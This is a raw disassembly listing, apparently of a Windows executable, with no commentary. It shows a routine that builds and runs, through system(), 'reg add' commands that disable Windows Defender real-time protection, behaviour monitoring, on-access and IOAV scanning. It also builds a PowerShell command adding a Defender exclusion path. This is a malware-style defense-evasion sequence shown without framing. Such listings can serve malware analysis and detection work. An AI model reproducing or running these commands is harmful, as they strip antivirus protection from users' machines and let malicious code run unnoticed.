lea rcx, [rbp + 0x38]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x28], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x3e1
lea r8d, [rbx + 0x62]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_Defender___v__ServiceKeepAlive___t_REG_DWORD__d_0__f
lea rcx, [rbp + 0x18]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x7e1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp - 0x70]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x130], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xfe1
lea r8d, [rbx + 0x4f]
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___f
lea rcx, [rbp + 0x120]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1fe1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rsp + 0x60]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x3fe1
mov r8d, 0x84
lea rdx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableBehaviorMonitoring___t_REG_DWORD__d_1__f
lea rcx, [rbp + 0x180]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1b0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x7fe1
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
lea rcx, [rbp + 0x1a0]
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0xffe1
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableOnAccessProtection___t_REG_DWORD__d_1__f
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x260]
call fcn.14000d660
nop
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 0x10
cmovae rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xf8]
mov rcx, rax
call fcn.14000cea0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x200], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x210], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov dword [rsp + 0x44], 0x1ffe1
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableScanOnRealtimeEnable___t_REG_DWORD__d_1__f
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x288]
call fcn.14000d660
nop
lea r8, [rbp + 0xe8]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000d720
nop
lea r8, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableIOAVProtection___t_REG_DWORD__d_1__f
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14000d660
nop
lea rcx, [rbp + 0xc0]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x288]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x200]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x260]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x1e0]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x180]
call fcn.1400012b0
nop
lea rcx, [rsp + 0x60]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x120]
call fcn.1400012b0
nop
lea rcx, [rbp - 0x70]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x18]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x38]
call fcn.1400012b0
nop
lea rcx, [rbp - 0x50]
call fcn.1400012b0
nop
lea rcx, [rbp + 0x220]
call fcn.1400012b0
nop
lea rcx, [rbp - 0x28]
call fcn.1400012b0
lea rcx, [rbp + 0x240]
call fcn.1400012a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x240]
call fcn.1400012b0
nop
lea rcx, [rbp + 0xe8]
jmp 0x140008021
mov r8, r14
lea rdx, str.powershell__Command_Add_MpPreference__ExclusionPath__
lea rcx, [rbp + 0x260]
call fcn.14000d2c0
nop
lea r8, [0x140022878]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14000d660
nop
lea rcx, [rbp + 0x260]
call fcn.1400012b0
lea rcx, [rbp + 0x240]
call fcn.1400012a0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x240]
call fcn.1400012b0
nop
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x14000805d
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x140008058
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400080a0
mov rcx, r8
call fcn.14001e2dc
mov qword [r14 + 0x10], 0
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rax, qword [rsp + 0x58]
mov rcx, qword [rbp + 0x2f8]
xor rcx, rsp
call fcn.14001e280
mov rbx, qword [rsp + 0x450]
add rsp, 0x400
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140001280
int3